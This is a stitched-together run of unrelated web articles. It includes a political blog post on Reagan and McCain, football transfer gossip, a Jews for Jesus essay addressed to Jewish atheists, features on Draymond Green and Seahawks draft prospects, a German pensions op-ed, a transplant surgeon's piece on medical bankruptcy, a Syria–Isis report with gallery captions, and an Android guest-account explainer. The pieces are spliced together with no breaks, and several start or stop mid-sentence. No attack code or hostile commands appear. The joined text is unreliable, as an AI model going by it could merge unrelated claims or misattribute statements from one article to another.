Reagan issued a statement in 1988 on the 20th anniversary of the Soviet-led Warsaw Pact invasion of Czechoslovakia, which put an end to the Prague Spring, but I can find no original public statements by Reagan from 1968. McCain’s statements are a prime example of the Republican Party’s bending of history to suit their deification of Ronald Reagan.
Of course McCain was a POW in N. Vietnam in 1968, so his personal remembrance of those times would be understandably sketchy, but it has been decades since then, but he has had plenty of time to get his facts straight.
Ronald Reagan did not cause everything good to happen in the name of freedom during the 20th Century.
It is interesting though that many Republicans, not just McCain, are holding up to the Reagan standard. It speaks a great deal about President Obama’s talent that Republicans put him in the same league as Reagan, and Democrats compare him to F.D.R. Those two comparisons are some rare air.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:The football world's gossip mill is in full swing, and Transfer Talk is monitoring the whispers ahead of all the summer moves. Check out the latest deals and potential deals here.
United talk to investors ahead of huge spree
It is set to be a summer of record spending for Manchester United regardless of whether or not they qualify for the Champions League, according to the Manchester Evening News.
The Evening News reports that executive vice-chairman Ed Woodward will talk to investors in New York on Tuesday ahead of a colossal transfer window.
Last year's spending, including the world-record deal for Paul Pogba, could be put in the shade as United "plan to trigger Antoine Griezmann's £85 million release clause at Atletico Madrid."
But the report stresses that Griezmann is only one of a range of targets.
Burnley defender Michael Keane (£25m) and Tottenham midfielder Eric Dier (£40m) are in the frame, and a potential £80 million move for Everton's Romelu Lukaku "could see United break the £200 million barrier."
Palace'must pay £30 million' for permanent Sakho deal
The better Liverpool central defender Mamadou Sakho played on loan at Crystal Palace, the higher his price tag became.
Liverpool are willing to let Mamadou Sakho join Crystal Palace on a permanent basis for a fee of £30 million.
Now the Guardian reports that Liverpool want "at least £30 million" for Sakho, whose signing is a priority for Palace boss Sam Allardyce.
The France international played seven full games for the Eagles before suffering a knee injury, with five of those games being won.
The Guardian says Palace must now "weigh up whether the financial package required is viable," adding that Liverpool "are aware that they raised up to £30 million through the sale of Yannick Bolasie to Everton."
Sakho, however, is only part of Palace's planning, with Sunderland duo Jermain Defoe and Lamine Kone linked with a reunion with Allardyce and Manchester City midfielder Fabian Delph another target.
Everton like look of Lemos
Las Palmas defender Mauricio Lemos could be on his way to Everton as part of a Ronald Koeman revamp, but it all depends on whether the club feel he can get a work permit, according to the Telegraph.
It reports that Lemos -- linked with Barcelona this time last year -- could be part of a recruitment drive that sees Everton spend around £75 million.
Everton are interested in signing Mauricio Lemos, if the Uruguayan can secure a work permit.
But it warns there is no certainty that the centre-back, who has represented Uruguay at under-20 and under-23 levels, would be granted a permit under rules on international appearances brought in almost two years ago.
Everton are "looking to ascertain whether it is worth pursuing their interest in the 21-year-old," who would cost £18 million.
Meanwhile, the Mirror reports |
; the Greek and the Roman followed, and made a vast noise, and they are gone; other peoples have sprung up and held their torch high for a time, but it burned out, and they sit in twilight, or have vanished. The Jew saw them all, beat them all, and is now what he always was, exhibiting no decadence, no infirmities of age, no weakening of his parts, no slowing of his energies, no dulling of his alert and aggressive mind. All things are mortal but the Jew; all other forces pass, but he remains. What is the secret of his immortality?8
Twain wrote those words a half century before the resurrection of an ancient nation (Israel) and before the re-establishment of an ancient language (Hebrew). Indeed, the very fact that Jews exist today creates a dilemma for the thoughtful atheist. Regarding the probability of our survival, the argument for coincidence (or anything else) becomes a bigger leap of faith than a belief in an all-powerful God.
Disguised Atheism
While some Jewish people incorporate their disbelief in God into their religious framework, and others are busy mocking those who do believe in God, there is a more subtle form of atheism that is also quite popular. Some people are asked if they believe in God and after thinking for a moment say, “yeah…I guess so,” but then never think about the subject again. Other people say, “I believe in God in my own way.” But, this is not a belief in God at all; it is a belief in one’s own ability to create their own version of God.
The Hebrew Scriptures—God’s message to us—begins with a most important lesson in theology: “In the beginning God created the heavens and the earth.” If we grasp this, everything else will fall right in line. These words in Genesis tell us that God created us and not the other way around. His ways are not just opinions or alternative options for the spiritually eclectic. And as the Biblical story unfolds, we read that God continued to take the initiative with humanity. He directed our people to follow and worship the Creator, and not any part of the creation. This theme is repeated throughout the Scriptures, most famously in the words of the Sh’ma, Deuteronomy 6:4-5:
Hear, O Israel: The Lord our God, the Lord is one: And thou shalt love the Lord thy God with all thine heart, and with all thy soul and with all thy might.9
The central point here is that God alone is to be worshipped (i.e., loved with all of our heart, soul and mind). The Sh’ma has always enjoyed a special place in Jewish life and liturgy and is familiar to even the most secular Jew. It has also become a pledge of allegiance—a statement of pride and faith in our people. If there is any “creed” within Judaism, this is it. The problem, however, is that so much emphasis is placed on the Sh’ma as a Jewish litmus test that its very content is often overlooked. For example, one modern rabbi in a primer on basic Judaism, writes:
One could deny God and still be a Jew, but to deny the unity of God would be to remove oneself from the Jewish fold. The center of Jewish worship is the recitation of the verse from Deuteronomy 6:4 which affirms the oneness of God.10
Ironically, according to this view, it is more important to declare God’s oneness than it is to actually believe it. In other words, remaining “within the fold” of Judaism has become more important than acknowledging the One who created the fold. It is like a man who brags that he has only one wife, and yet he has no relationship with her and never spends any time with her. What is the point of such a marriage? In the same way, conceding a belief in God’s oneness without recognizing the need to have a personal relationship with him, without desiring to love him with “all thine heart” is no more than a disguised form of atheism.
Alternative to Atheism
The Jewish atheist needs to grapple with the possibility of a personal God who has revealed himself in many ways, not the least of which is the beauty and the perfection of the created universe.
The heavens declare the glory of God; And the firmament shows His handiwork. Psalm 19:1
One noted astronomer and scientist, Dr. Hugh Ross, explains this in another way:
God so loved the human race that he was prepared to construct 100 billion stars, and shape and craft them over the course of many billions of years so that at this brief moment in history we can have a pleasant place in which to live?namely planet Earth.… For me, that was a complete turnaround from where I started at age seventeen when I thought that this universe was so vast that God could not possibly pay attention to us. Now what I realize is that this whole vast universe was built by God expressly for the purpose of giving us a home. So how can we deny God’s love and care for us?11
The personal nature of God is also revealed in how he has intervened in history on behalf of our Jewish people. God promises in his Scriptures to keep us, to preserve us forever.
Fear not, for I am with you. Be not dismayed, for I am your God; I will strengthen you, I will help you, I will uphold you with my righteous right hand. Isaiah 41:10
The sad truth is that if it were up to the nations and powers of this world we would have been vanquished. The Hamans and Hitlers and Hamas followers would have had their way and succeeded in our annihilation. But a caring God would not allow that to happen. The most astounding fact of the Holocaust was not the murder of six million Jews, but God’s preservation of twelve million. Mark Twain’s question, “What is the secret of the Jews’ immortality?” is a rhetorical one for those who believe in the God of Israel.
However, God’s personal love and care is seen most dramatically in Yeshua (Jesus). Jewish believers in Jesus believe that God actually chose to come and live as a human being in order to die as an atonement for us. Why? So that we could live forever with him. If that is true, then God’s intention toward us is not as a disinterested creator. Nor is his interest limited to occasional divine intervention in history. If Jesus really did come to lay down his life for us, then God is a warmly personal wooer of humanity.
But God demonstrates his own love toward us, in that while we were still sinners, Christ [Messiah] died for us. Romans 5:8
In contrast to the despair and hopelessness that is the logical outcome of atheistic thinking, the belief that God sent a redeemer for us in Jesus produces incredible joy and courage. Whoever knows the love of God in Yeshua can say along with one of the first Jews for Jesus, “If God is for me, who can be against me?” (Apostle Paul)
An atheist might counter that the need to feel loved by such a God leads believers to delude themselves into thinking God is real. And certainly wanting God to exist is not enough to make that so. Either God exists or he doesn’t. Jesus is or is not the Jewish Messiah regardless of our wishes.
But is it possible for a committed atheist to be objective about these things? Isn’t the certain belief that God is not real a matter of faith in itself? Perhaps the committed atheist is one who, based on the circumstances of this life, has judged God and found him not worthy of existence. Rather than denying that God is real, a thoughtful atheist should be willing to consider that God has made a way to right the wrongs. A thoughtful atheist is one who knows that if there is a God, he would be beyond our comprehension. Therefore it is reasonable to leave open the possibility that Jesus is who he claimed to be. Because if there is a God, and if that God is a caring and compassionate God looking for a way to reconcile a headstrong and wayward creation to himself, it makes perfect sense that he would come and live among us, and make a way for us to be with him.
The Jewish atheist must admit that there are many things we do not understand; that our finite minds cannot comprehend it all.
It was Yom Kippur and two Jews were davening side by side at the neighborhood shul. One was religious, the other was an atheist. The religious Jew turned to the atheist and curiously asked, “Ben, why are you here?” The atheist replied, “Jack, I could be wrong.”
Isn’t it worth investigating the possibility that God exists and that he wants you to know him personally…what have you got to lose?
Footnotes
1Maimonides, Mishneh Torah, Yesode Ha-Torah I, 1-5
2Dennis Prager and Joseph Telushkin, The Nine Questions People Ask About Judaism, (Simon & Shuster, New York, 1981), p. 18
3Society for Humanistic Judaism [Web page] https://web.archive.org/web/20080509135022/http://www.shj.org/index.html (1998, October 15)
4Sherwin T. Wine, Judaism Beyond God, (Society for Humanistic Judaism, Farmington Hills, Michigan, 1985), pp. 112, 113
5Mishna: Baba Kamma, 3.11
6Herman Wouk, This Is My God, (Simon & Shuster, New York, 1959), p.4
7Judaism Beyond God, p.111
8Mark Twain, “Concerning the Jews,” Harpers Magazine, 1898, cited from Joseph L. Baron’s A Treasury of Jewish Quotations (New York, A.S. Barnes and Co., Inc. 1965), p.244
9Holy Scriptures According to the Masoretic Text, Volume I (Hebrew Publishing Company, New York, 1916), p.300
10Stephen M. Weylen, Settings of Silver, (Paulist Press, Mahwah, New Jersey, 1989), p.32
11Ross, Hugh. An ISSUES Interview with Hugh Ross, ISSUES, Volume 7:8″Ezra Shaw/Getty Images
The Golden State Warriors have multiple concerns after falling to the Houston Rockets in Tuesday's season opener. Head coach Steve Kerr is unhappy with his team's physical and mental conditioning, and a number of key players are nursing injuries. 2015 Finals MVP Andre Iguodala has a sore back, while newcomer Omri Casspi is dealing with tweaks to both of his ankles.
More importantly for the Warriors, All-Star forward Draymond Green went down with a left knee strain in the fourth quarter of Tuesday's game. "I don't think it's serious, but we'll see," Kerr said Wednesday afternoon. Per ESPN's Chris Haynes, Green's MRI came back negative. Mark Medina of the Mercury News has him listed as probable for Friday's game in New Orleans.
The prospect of a prolonged absence for Green, who anchored the Warriors defense during their 16-1 run to last season's championship, should give team officials pause. Despite the roster's evident depth, the array of skills and intangibles the former Michigan State Spartan brings to the table simply cannot be replicated with the Warriors' current personnel.
It all begins with Draymond's mental conditioning. Of his team's collapse during the 2016 NBA Finals—in which the Warriors memorably blew a 3-1 lead over the Cleveland Cavaliers—he readily admits having not taken the backlash from his groin-smacking, suspension-eliciting roadshow in stride. But since that time, he has taken advice from competitive sage Kobe Bryant to heart. Per Clay Skipper of GQ, the Black Mamba told Green, "As long as you wait for them to understand you, you're f--ked."
Draymond isn't trying to be understood anymore. He's actively coaching himself not to care, and his increased mental fortitude contributed to his team's success last season.
He may not care about your opinions or mine, but he'll definitely tell you what he thinks. He'll tell you again and again, with nuance, or profanity, or both, depending on his mood. He doesn't hold back.
"A closed mouth doesn't get fed," says Warriors assistant coach Jarron Collins. "Draymond's a big believer in that philosophy."
Jeff Chiu/Associated Press
Off the court, Draymond says what he wants, and he doesn't suffer fools. On the hardwood, he brings the Warriors what their pre-championship era longed for on a game-by-game basis: a player you'd love to hate if he were on another team. An enforcer.
"Playing against him, he was always vocal," says Casspi about his first impression of the trash-talking forward. "But when you get a chance to see him on a day-to-day basis you see how great of a competitor he is; how much he understands the game."
Draymond is one of the most cerebral enforcers the NBA has seen. Prior to injuring his left knee in Tuesday's 122-121 loss to the visiting Houston Rockets, Green was his usual stat-stuffing self, putting up 13 assists and 11 rebounds to go along with nine points. Though he wasn't quite as impactful on the defensive end (he fought early foul trouble), had he been able to finish the game, his presence could have been the difference for the Warriors.
Quietly, Draymond has become his team's most important player.
In vindicating his loss of control during the 2016 playoffs by leading the Warriors through a dominant run to the 2016-17 title, Draymond demonstrated his knowledge of the game, as well as his worth to his team. The forward—generously listed at 6'7"—paced the Dubs in rebounding and stocks (steals plus blocks), and managed to shoot the lights out from three (.410) while taking fewer than 10 shots per contest. His playoffs-long box score line of 13.1/9.1/6.5 is certainly formidable, though it does little to demonstrate the full scope of his impact.
The Warriors cut through the field behind the potent scoring of Stephen Curry and Kevin Durant, but it was Draymond holding down the back line that fueled their downhill attack. Green led the team in defensive win shares and posted some of the more demoralizing defensive stops the 2017 playoffs had to offer, all while dropping dimes at a Curry-esque clip.
Nathaniel S. Butler/Getty Images
Despite his achievements—two NBA championships, two trips to the All-Star Game and the 2016-17 Defensive Player of the Year award—Green still has detractors. Around the national water cooler, the mercurial Michigander's game does not always glitter alongside the sheen of his gilded environment. Just recently, former Warriors teammate and playoff foe Richard Jefferson went so far as to say Green is in a "fully supporting role" with the Warriors. The implication is that Draymond's skill set is replaceable, or even that the Warriors could win it all without him.
Well, they just can't. In the same way that Curry is the Warriors system, Green is their backup system. He is the spinach inside Popeye's aluminum can. He's the auxiliary power on the Enterprise. He's the vodka filling James Bond's martini glass.
For starters, in a sense wholly unlike his trio of All-Star teammates, Green is a statistical marvel. During a 15-point win against the Grizzlies last February, he came within six points of recording a quadruple-double (and one point from recording the elusive "five by five"), with 12 rebounds, 10 assists, 10 steals and five blocks. It was the first triple-double ever recorded in the NBA without at least 10 points.
(The Warriors are undefeated in the regular season (19-0) when Green registers double digits in three of the five basic statistical categories.)
Anchoring the NBA's second-stingiest defense in 2016-17 (including ample garbage time), Draymond led the Association in defensive box plus/minus and was within percentage points of leading the league in defensive win shares, defensive rating and stocks. The man sees things happening on the court before they happen, and somehow occasionally manages to guard the entire opposition.
"[Draymond] is probably one of the sharpest basketball minds I've been around," says Collins. "He understands his opponents, what they want to do to be successful. He understands angles, leverage, technique—he just has a great feel for the game."
That feel is not limited to getting stops. Astoundingly, Draymond—not Curry—led the Warriors in assists per game last season, recording more helpers than any forward in the NBA not named LeBron. Within head coach Steve Kerr's pace-based system, Green often pushes the Dubs offense downhill, initiating the break after a defensive rebound or functioning as a safety valve in the backcourt when Curry is double-teamed. Green's preternatural eye and ambidextrous passing touch make him especially dangerous in triple threat, as well as on the run.
Add in the fact that Green has forged a strong bond with Durant, and one begins to see how integral he is to the the Warriors' success.
Chris Szagola/Associated Press
Yes, Durant is clearly the better player. Curry, too. And Klay Thompson is by far the more polished scorer despite being tasked with hounding All-Star wings night in and night out. The three superstars combined for 73 of Golden State's 116 points per game last season. That's potent stuff.
Behind them is Zaza Pachulia and JaVale McGee, who provide the necessary bulk for the Warriors to play big. With new additions Casspi and Nick Young playing positionless basketball alongside Andre Iguodala and Shaun Livingston, the Warriors look to be deeper than ever.
But what happens to them without No. 23? Where is the backup's backup?
The Warriors brought on KD as the ultimate insurance for an injury to Curry. Engine busted? Just replace it. Not exactly light-years ahead, but smart.
However, there's no such thing as Draymond insurance. The Warriors' success hinges on his health.
Green doesn't often sit out games, though. Last season, his age-26 campaign, was his least healthy—he missed six contests in all.
Even in the event of an injury, you can bet Draymond would still be looking for ways to back up his squad. He has spoken at length about taking rookie Jordan Bell under his wing, training Bell in the skills and intangibles that give the two-time All-Star his edge.
"It's a great thing to have, somebody you look up to, him being one of my favorite players [growing up]," says Bell, who got more acquainted with Draymond during the Warriors' week-long trip to China in early October. "I mean, he's not always yelling like everybody thinks he is. He talks a lot, so he knows when to turn it on and off."
In Casspi's equally short time as a Warrior, he has also observed the qualities of leadership in Draymond. "Sometimes he'll be the one that stops practice if he sees something. He's earned that respect with the coaches and the guys here because he picks all the right spots."
So, Draymond is an energized vocal leader who has made himself utterly indispensable to a team full of stars. He's a coach on the floor and a mentor off of it. He's the league's best, most versatile defender. He's a point forward who's a constant threat to record a triple-double, and he does it all while necessarily being the guy everybody loves to hate.
Talk about value.
What would the Warriors be without Draymond Green? Aside from much less interesting, they wouldn't be the reigning NBA champions. If they aim to repeat, they absolutely need him.
Aliko Carter covers the Golden State Warriors for Bleacher Report. Follow him on Twitter @kogitare. All quotes obtained firsthand unless otherwise noted.There was never any chance of Todd Gurley landing in Seattle, but the Seahawks still ranked him as the #1 prospect in the draft.
ESPN’s Adam Schefter and Chris Mortensen are reporting Gurley was highly rated by the Seahawks as the top player available in the 2015 class.
It won’t be a surprise. Despite picking up a serious knee injury Gurley was still taken in the top-10 picks. There was talk pre-draft he could’ve gone even earlier. We’ll never know what a team like the Jets would’ve done had Leonard Williams been taken before the #6 pick. Teams loved Gurley’s rare combination of speed, power and size.
It does make you wonder though — had Seattle not recovered from a 3-3 start in 2014 and ended up picking in the middle of the first round — would the aggressive move be a trade up for Gurley instead of a deal for Jimmy Graham?
Replacing Marshawn Lynch will be the toughest thing John Schneider and Pete Carroll ever have to do in Seattle. The way they rated Gurley suggests if they see a fantastic back available in a future draft — they might not shy away from yet another bold move to fill that need.
Looking ahead to the 2016 draft — and it’s still way too early to make a firm judgement — there isn’t a Gurley-level talent preparing to enter the league.
Ohio State’s Ezekiel Elliott has fair size and speed but he plays with a lot of power. He’ll often fall forward after contact. He’s also capable of making the big play. There’s nothing overtly special about Elliott or unique but he has every chance of going in round one with a big season for a Championship caliber team. The question is can he play the way he did in the playoffs last season for long stretches during the current regular season? A legitimate Heisman candidate — but it was interesting to see the Buckeyes come out throwing against Virginia Tech.
Arkansas’ Alex Collins is a terrific player with a nice 5-11 frame with good mass and power. Like Elliott he always seems to get yards after contact — but he has a home-run hitting ability too. It’ll be very interesting to see how he and Elliott test for speed. He flashes plenty of power and might be a cheaper — and possibly more effective — alternative to Elliott. A very interesting player with a pro-future as a day one or two pick.
Derrick Henry is enormous at around 6-3 and 240lbs. He doesn’t play with a mean streak though — he’s positively finesse at times and doesn’t always dominate the way he should. Eddie Lacy was a wrecking machine for Alabama and you kind of feel like Henry should be more like that with his size. Even so — he’s deceptively quick running in a straight line and a natural athlete. It gives him a level of uniqueness the other two players above lack. Is he a bell-cow at the next level? Probably not. He could be a nice compliment to a back of a different style working in a committee system.
2017 could be very interesting for running backs. Nick Chubb, Leonard Fournette, Samaje Perrine and Royce Freeman will all be eligible. If Lynch is prepared to continue next year — the Seahawks might be able to delay this search at least in terms of the early rounds.Werner Eichhorst is director of Labor Policy Europe at the Institute for the Study of Labor (IZA) in Bonn, Germany.
From coping with the refugee crisis to managing the consequences of a possible Brexit, Germany faces plenty of economic challenges. This does not seem to be an auspicious time for German politicians to launch yet another big debate about higher benefits to be provided by the country’s public pensions system.
However, with the 2017 federal election campaign coming up next, Germany’s two biggest parties — the CDU and the SPD, who also form the government – are eager to curry favor with the electorate in order to combat declining percentages in opinion polls. As a result, top politicians of both parties are trying to outbid each other with generous retirement proposals.
But before they engage more deeply in that debate, German politicians ought to undertake a reality check. They should pay special attention to the views of young people.
Case in point: When asked on Deutsche Welle TV about Germany’s high level of taxes and social security contributions recently, one young woman confessed that, while she didn’t like the trends, she wasn’t really worried about them either. “I plan to emigrate anyway,” she stated. “To Canada. Or Australia.”
With electoral politics, whether in Europe or the United States, generally much more geared toward the elderly (because they vote more than young people), politicians usually disregard such responses.
This time, they better listen up. The young woman’s response provides them with a helpful reminder. Politicians need to strike a proper balance between intergenerational dynamics, social needs and the future affordability of the country’s retirement system.
To see how this plays out from the vantage point of the younger generation in the German case, look at the recently released 2016 edition of the OECD’s “Taxing Wages” report. The data show that a childless single worker in Germany earning the average national wage has to cope with the third-highest average tax burden in the entire OECD (at a staggering 49.4%). Only in Belgium and Austria did such workers face an even higher burden (at 55.3% and 49.5%, respectively).
Those numbers are a clear warning sign. Young people, whether in Germany or elsewhere, already have to cope with much more uncertain job prospects compared to their parents’ generation. Young people also feel understandably frustrated that, while many of their own social security contributions provide the cash flow to finance the retirement of the baby-boom generation, the funding of their own retirement claims is much less assured.
That may well be the logic of the pay-as-you-go social security system. But given how difficult – and often costly – it is today to accumulate private savings for retirement, young people effectively feel stuck in a double bind.
The rising costs of pensions to the young are vividly demonstrated by the steady rise in Germany’s economic dependency ratio over the next few decades. This ratio measures the number of inactive people age 65 and older to total employment. In 2013, this percentage stood at 41%. It is projected to increase to 57% as soon as 2030 and to a staggering 70% by 2050.
This is not to say that there aren’t some inequities remaining in Germany’s public pensions system. The concerns about facing poverty in old age are very real.
The key question is how to strike a proper balance between retirement security, individual incentives and accountability of Germany’s public pension system.
The most important principle in that context is that a longer work life – already the widespread practice in the United States — reduces the risk that individuals will have to contend with a lower level of income in retirement. That may be unwelcome news in a country that, until quite recently, featured mandatory retirement at 65. However, the precious practice — forced retirement upon reaching a certain age, enshrined via the automatic end date of employment contracts throughout Germany — no longer makes sense.
In contrast, establishing a flexible “retirement corridor” above a certain minimum age or a specific pension level makes sense. Choosing to work longer in old age in order to increase one’s level in payout when fully retired properly aligns incentives with outcomes. It is also an important way to lessen the pressures resulting from a shrinking workforce.
There are now calls to push the regular retirement age farther out, possibly to 70 years of age. Unpopular though these calls may be, this policy response may be unavoidable, at least when viewed actuarially.
The dirty little secret of the German pension scheme, as in many other countries, is that current (and soon-to-be) retirees receive considerably more in benefits than what they actually paid in. Of course, most retirees deny this and believe they only get (and therefore deserve) what they paid in. Politics and perceptions aside, the fact remains that such a positive rate of return for public pensions can only be sustained with consistently increasing birth rates, certainly not declining ones.
Whatever some big party politicians in Europe’s largest economy may want to provide as giveaways ahead of a critical election, they have to come to terms with reality. They need to ensure that the – already staggering – financial burden carried by the younger members of the workforce will not rise even higher. Keeping them motivated and willing to carry their load is of paramount importance. Any further increase may be the straw that breaks the proverbial “camel’s” back.The next week, he went to a department store and, making sure a security guard saw him, pocketed some moisturizing cream. He looked up at the guard, smiled, and walked out.
After he was arrested, he wrote a note to the judge saying that he needed to get back into prison for a year, to get an operation. He told me the judge said "I'll give you 14 months, go get your surgery."
***
A recent study showed that out of over 2,300 bankruptcy filers in the United States in 2007, greater than 60 percent of them were caused at least in part by medical illness. It is hard as a physician to watch patients and families who are scared, facing these difficult times in their lives, also knowing that they are going down a pathway to bankruptcy from which they may never recover.
There are those that feel that everyone should have full medical care provided regardless of age or socioeconomic status, and a single-payer (government) system would be best suited for that. Others argue that this would be both too expensive and too inefficient, and would lead to even higher costs than already exist for healthcare. Perhaps costs could be better controlled if patients had skin in the game, and had to make choices about what care they would like with some responsibility for paying for the treatment they receive.
In my own field, transplant surgery, patients have to be insured to be eligible for transplantation. This is generally not a problem for patients with kidney failure, as anyone with a work history becomes eligible for Medicare regardless of age or disability status.
Any patient with end stage liver disease who does not have insurance (and is not eligible for Medicare) has the option of trying to qualify for state-funded Medicaid (which includes demonstrating both poverty and disability), stealing moisturizing cream from a department store, or dying.
I have personally taken care of a number of patients who did not want to put their family through the formidable weight of bankruptcy and opted for number three.
Even our veterans, who do have coverage through the VA systems, only have access to transplantation at five centers in the country. They are also held to stricter criteria about who is eligible for transplantation than those outside of the VA system. My general sense is the access to transplant is much less for vets than for those outside this system. Some of them might be better off going to the department store.
The Affordable Care Act will address some of these issues, at least striving to provide some sort of coverage to everyone, although given the resistance of many states and unclear plan regarding expanding Medicaid -- which as a system does require patients to be essentially bankrupt -- there will still be large gaps in coverage in many of the patient populations that may need it most.Former Georgia Tech star and NBA point guard Mark Price has agreed to become the new coach at UNC Charlotte, the school announced Thursday.
Very excited to be named the head basketball coach @49ersBasketball tomorrow! Can't wait to meet the team and get to work! — Mark Price (@Mark25Price) March 26, 2015
Price, 51, had been an assistant coach in the NBA with the Charlotte Hornets this season. He was a standout at Georgia Tech from 1982 to 1986 and played 12 years in the NBA, where he was a four-time All-Star.
Sources told ESPN on Tuesday that Price was offered a five-year deal.
Price, who was introduced Thursday as the program's 10th head coach, replaces Alan Major, who parted ways with the school last week after five seasons in which he took two medical leaves of absence. Major was 67-70 personally, and the school was 75-81 in his time at the school.
In addition to his stint with the Hornets, Price also has been an assistant coach with the Denver Nuggets, Atlanta Hawks, Golden State Warriors and Orlando Magic.For the second time in three nights, the New England Patriots were awoken in their hotel by a false fire alarm. On Tuesday, the alarm sounded at 1:30 a.m. for approximately 10 minutes. The incident was deemed an “anomaly” by the hotel according to Jeff Darlington, and was quickly forgotten amid the hustle and bustle of media day.
But Thursday morning, the alarm sounded once more. This time coming just before 5 a.m., which is really the worst time.
Another false fire alarm at Patriots hotel. That"s two in past three nights. — Kimberly Jones (@KimJonesSports) January 29, 2015
Sure it’s an annoyance at 1:30 a.m., but you can still get a proper REM cycle in afterwards and be fine in the morning. But at 5 a.m., what’s the point? You’re up and there’s nothing you can do about it. This means that the fire alarm pullers are getting smarter, and gaining self awareness. Soon, they will be able to target specific rooms and initiate strategic ding-dong-ditches or place orders for unwanted room service.
It’s also shocking that the NFL has been silent on the matter. Ted Wells should have started his investigation into Fire Alarmgate hours ago.Lazio: Fans hold a banner directed at Tottenham fans in November's game
Lazio have been told that they will have to play a European match behind closed doors if there is a repeat of their fans' racist behaviour - though that punishment has been suspended for a "probationary period of two years."
Spurs' fine came for what UEFA only described as "crowd disturbances."
Lazio were fined £77,000 for racist abuse during the home game with Spurs on 22 November last year.
In addition the Rome club were fined £42,000 for the "racist conduct of their supporters, ignition of fireworks and incidents of a non-sporting nature" during the match at Maribor in Slovenia the same competition on 6 December.
Maribor were fined £14,000 for the behaviour of their fans and for poor organisation.
All three clubs have three days to appeal.Syria’s army and Hezbollah and Iranian allies are preparing for a massive invasion by thousands of Isis fighters who will be driven out of Iraq when Mosul falls. The real purpose behind the much-trumpeted US-planned "liberation" of the Iraqi city, the Syrian military suspect, is to swamp Syria with the hordes of Isis fighters who will flee their Iraqi capital in favour of their "mini-capital" of Raqqa inside Syria itself.
For weeks now, Western media and the American experts it likes to quote have been predicting a Stalingrad-style battle to the death by Isis inside Mosul – or a swift victory over Isis followed by inter-sectarian Iraqi battles for the city. The UN is warning of massive refugee columns streaming from a besieged city. But the Syrians – after witnessing the sudden collapse and evacuation of Palmyra when their own army retook the ancient Syrian city earlier this year – suspect that Isis will simply abandon Mosul and try to reach safety in the areas of Syria which it still controls.
Already, Syrian army intelligence has heard disturbing reports of a demand by Isis in towns and villages south of Hasaka – a Syrian city held by regime forces and Kurds in the north of the country – for new electricity and water supplies to be installed for an influx of Isis fighters from Mosul. In other words, if Mosul falls, the entire Isis caliphate army could be directed against the Assad government and its allies – a scenario which might cause some satisfaction in Washington. When the Iraqi city of Fallujah fell to Iraqi army and militia forces earlier this year, many Isis fighters fled at once to Syria.
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Shape Created with Sketch. Palmyra recaptured by Syrian government forces Show all 10 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Palmyra recaptured by Syrian government forces 1/10 Palmyra recaptured by Syrian pro-government forces Graffiti on the ancient stones reads in Arabic ‘Shooting without the permission of the chief is prohibited’ Getty 2/10 Palmyra recaptured by Syrian pro-government forces Damaged artefacts lay inside the museum of the historic city of Palmyra Reuters 3/10 Palmyra recaptured by Syrian pro-government forces Syrian pro-government forces rest by Palmyra Citadel as they take control of the city from the hands of Isis Getty 4/10 Palmyra recaptured by Syrian pro-government forces The UNESCO world heritage site appears surprisingly intact after its recapture from the militant group Getty 5/10 Palmyra recaptured by Syrian pro-government forces Many had feared the ancient city would be destroyed following its capture by Isis in May Getty 6/10 Palmyra recaptured by Syrian pro-government forces Smoke billows from the Palmyra Citadel as Assad’s forces drive the Jihadist group from the city Getty 7/10 Palmyra recaptured by Syrian pro-government forces Palmyra is one of the ‘most important cultural centers of the world’ Unesco says Getty 8/10 Palmyra recaptured by Syrian pro-government forces Pro-government forces play football in the streets following the recapture of the city Getty 9/10 Palmyra recaptured by Syrian pro-government forces The extent of the destruction caused by Isis’ 10 month occupation of the city has yet to be fully realised Getty 10/10 Palmyra recaptured by Syrian pro-government forces The City Council of Palmyra building in ruins Reuters 1/10 Palmyra recaptured by Syrian pro-government forces Graffiti on the ancient stones reads in Arabic ‘Shooting without the permission of the chief is prohibited’ Getty 2/10 Palmyra recaptured by Syrian pro-government forces Damaged artefacts lay inside the museum of the historic city of Palmyra Reuters 3/10 Palmyra recaptured by Syrian pro-government forces Syrian pro-government forces rest by Palmyra Citadel as they take control of the city from the hands of Isis Getty 4/10 Palmyra recaptured by Syrian pro-government forces The UNESCO world heritage site appears surprisingly intact after its recapture from the militant group Getty 5/10 Palmyra recaptured by Syrian pro-government forces Many had feared the ancient |
earlier in the day, or because you have kids that are constantly asking for some time with your phone to game, know that your main profile will remain safe and untouched at all times.
Setting up Guests or additional accounts is pretty easy for the most part. You can access additional users through a Users option in Settings or by tapping on your Profile icon in the quick toggles notification pulldown.
The Guest account access can be wiped each time someone logs in, which is nice because Guests can add accounts, download apps, and even place calls if you let them.
On the flip side of that, you have more permanent accounts that your friends, family, or kids could setup. These accounts are setup almost like if the person in charge is setting up a new phone. A “Welcome” screen walks them through setup, asks for Google account information, and even asks for permission to access location and such. These users can download apps, add additional accounts, and use voice and SMS services.
To see Guest and secondary accounts in action, we have a video walk-through below.
Here are the rest of our Android 5.0 feature highlights.New England Patriots running back Shane Vereen is eligible to be activated off of the short-term injured reserve this week, and he will need to be activated in order to play in tomorrow’s big Monday night game against the Carolina Panthers. Vereen has been practicing for a couple of weeks now, but the Patriots only recently upgraded his practice workload. It seems like Vereen has responded well, and every indication is that he will be active and ready to go for tomorrow’s game.
According to the NFL Network’s Ian Rapoport, Vereen is expected to play tomorrow, and Rapoport’s report falls in line with what Patriots beat writers have stated. ESPN Boston’s Mike Reiss recently stated that he expects Vereen to play, and that’s not a surprise to hear. He is most likely fully recovered from the broken wrist he suffered in Week 1, and the crazy thing is that he still managed to total 159 yards from scrimmage while playing through the broken wrist.
Vereen will probably see his snaps limited upon his return, but even limited snaps for Vereen could have a big impact. He’s a major chess piece for Bill Belichick in the Patriots offense, because he’s a versatile weapon who can make plays in both the passing game and running game. Vereen is as explosive as they come, and his ability to break open big plays on screens could keep the Panthers linebackers and pass rushers on their heels.
Follow @NFLSpinZone
